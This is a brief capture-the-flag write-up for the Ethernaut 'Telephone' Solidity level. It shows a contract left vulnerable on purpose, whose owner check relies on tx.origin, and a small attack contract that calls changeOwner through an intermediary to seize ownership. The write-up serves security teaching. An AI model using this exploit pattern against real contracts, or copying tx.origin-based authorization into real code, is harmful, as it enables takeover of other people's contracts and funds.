Ethernaut - 4.Telephone
27 Aug 2022ethernaut
solidity
Difficulty: 🌕🌑🌑🌑🌑
Claim ownership of the contract below to complete this level.
Things that might help
See the Help page above, section “Beyond the console”
Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
Writeup
To complete this level, we need to claim ownership of the contract.
The keypoint is the difference between tx.origin
and msg.sender
.
- Get new instance
- Create a contract
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; interface Telephone { function changeOwner(address _owner) external; } contract AttackTelephone { Telephone public targets = Telephone(YOUR_LEVEL_INSTANCE_ADDRESS); function attackTelephone() public{ targets.changeOwner(YOUR_ACCOUNT); } }
- Compile & deploy .
- Call attackTelephone function. In this scenario,
tx.origin
will be the victim’s address whilemsg.sender
will be the malicious contract ( AttackTelephone ) ‘s address. (tx.origin != msg.sender
==true
) - Callthe method
await contract.owner().then(v => v.toString())
to check owner if it is your account.
- Submit instance ξ( ✿>◡❛)